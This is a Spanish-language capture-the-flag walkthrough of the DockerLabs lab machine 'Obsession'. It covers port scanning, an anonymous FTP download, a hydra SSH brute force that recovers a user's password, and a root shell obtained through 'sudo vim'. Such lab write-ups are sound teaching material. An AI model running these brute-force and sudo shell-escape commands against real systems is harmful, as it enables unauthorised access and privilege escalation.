> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-muy-facil/obsession.md).

# Obsession

#### **Despliegue de la Máquina:**

**1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Obsession** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**2. Descompresión:**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido:

```bash
7z x obsession.zip
```

<figure><img src="/files/B9TznC5my7v0j1JGoTV4" alt=""><figcaption></figcaption></figure>

**3. Ejecución:**

Desplegamos la máquina en Docker ejecutando el script proporcionado:

```bash
bash auto_deploy.sh obsession.tar
```

<figure><img src="/files/bCYcBVeZRuCEtRaerDV2" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**1. Verificación de Conectividad:**

Comprobamos la conectividad con la máquina objetivo usando `ping`:

```bash
ping -c 1 172.17.0.2
```

El valor `TTL=64` nos indica que el sistema operativo es **Linux**.

<figure><img src="/files/v9RbS7BP5mbmLoEiwinS" alt=""><figcaption></figcaption></figure>

**2. Escaneo de Puertos:**

Realizamos un escaneo rápido para identificar puertos abiertos con `nmap`:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Resultados:**

* **Puerto 21:** `FTP`.
* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="/files/bjq8nLfnodxARaN8GLn0" alt=""><figcaption></figcaption></figure>

**3. Escaneo Detallado:**

Escaneo para obtener detalles de los servicios y versiones que se están ejecutando en cada uno de los puertos:

```bash
nmap -p21,22,80 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 21:** Con acceso anónimo habilitado y versión vsftpd 3.0.5.
* **Puerto 22:** OpenSSH 9.6p1.
* **Puerto 80:** Apache httpd 2.4.58.

<figure><img src="/files/lYIIwP7k6c7v0WWAXWbv" alt=""><figcaption></figcaption></figure>

***

#### **Explotación:**

**1. Acceso al Servicio FTP:**

Accedemos al servicio FTP con el usuario `anonymous`:

```bash
ftp anonymous@172.17.0.2
```

Y descargamos los archivos encontrados:

```bash
get chat-gonza.txt
```

```bash
get pendientes.txt
```

<figure><img src="/files/zc3G4B6hDaqweRFL6nOh" alt=""><figcaption></figcaption></figure>

**Contenido de los archivos:**

* `chat-gonza.txt`: Conversación que menciona a los usuarios `gonza`, `russoski` y `nagore`.
* `pendientes.txt`: Lista de tareas pendientes.

<figure><img src="/files/HQ01CROmwSHtBauTiwjD" alt=""><figcaption></figcaption></figure>

**2. Análisis del Servicio Web:**

Al acceder a `http://172.17.0.2`, encontramos un formulario con un botón que dice "Cambiar mi vida a mejor ahora".

<figure><img src="/files/v4QWYYkbPaCIonuKyIlS" alt=""><figcaption></figcaption></figure>

Al enviar el formulario, aparece un mensaje genérico.

<figure><img src="/files/uCqav9wpbFfp2WJp4lMH" alt=""><figcaption></figcaption></figure>

**Inspección del Código Fuente:**

Encontramos un comentario revelador en el código fuente de la página web:

```html
<!-- Utilizando el mismo usuario para todos mis servicios, podré recordarlo fácilmente -->
```

<figure><img src="/files/82sXEwITsANxm34ZMM7L" alt=""><figcaption></figcaption></figure>

**3. Fuerza Bruta en SSH:**

Utilizamos `hydra` para realizar un ataque de fuerza bruta contra el servicio SSH con los usuarios encontrados (`russoski`, `gonza`, `nagore`). Vamos a comenzar con el usuario `russoski`, ya que hemos visto este nombre de usuario en varias ocasiones:

```bash
hydra -L russoski -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
```

**Resultado:** La contraseña del usuario `russoski` es `iloveme`.

<figure><img src="/files/BVhjjv0qtYLA9kl1qWZf" alt=""><figcaption></figcaption></figure>

**4. Acceso al Sistema con el Usuario Russoski:**

Accedemos al sistema vía SSH:

```bash
ssh russoski@172.17.0.2
```

<figure><img src="/files/KmOMrhJZpDe2772TwIeU" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**1. Verificación de Permisos:**

Ejecutamos `sudo -l` para ver los privilegios del usuario `russoski`.

**Resultado:**

```bash
(root) NOPASSWD: /usr/bin/vim
```

El usuario `russoski` puede ejecutar `vim` como `root` sin proporcionar contraseña.

<figure><img src="/files/8FtA0YKyKPsyJzKwOfT2" alt=""><figcaption></figcaption></figure>

**2. Explotación de Vim:**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/vim/) y ejecutamos el siguiente comando para obtener una shell como `root`:

```bash
sudo vim -c ':!/bin/sh'
```

<figure><img src="/files/KizwS03R5dxza2nHw2Si" alt=""><figcaption></figcaption></figure>
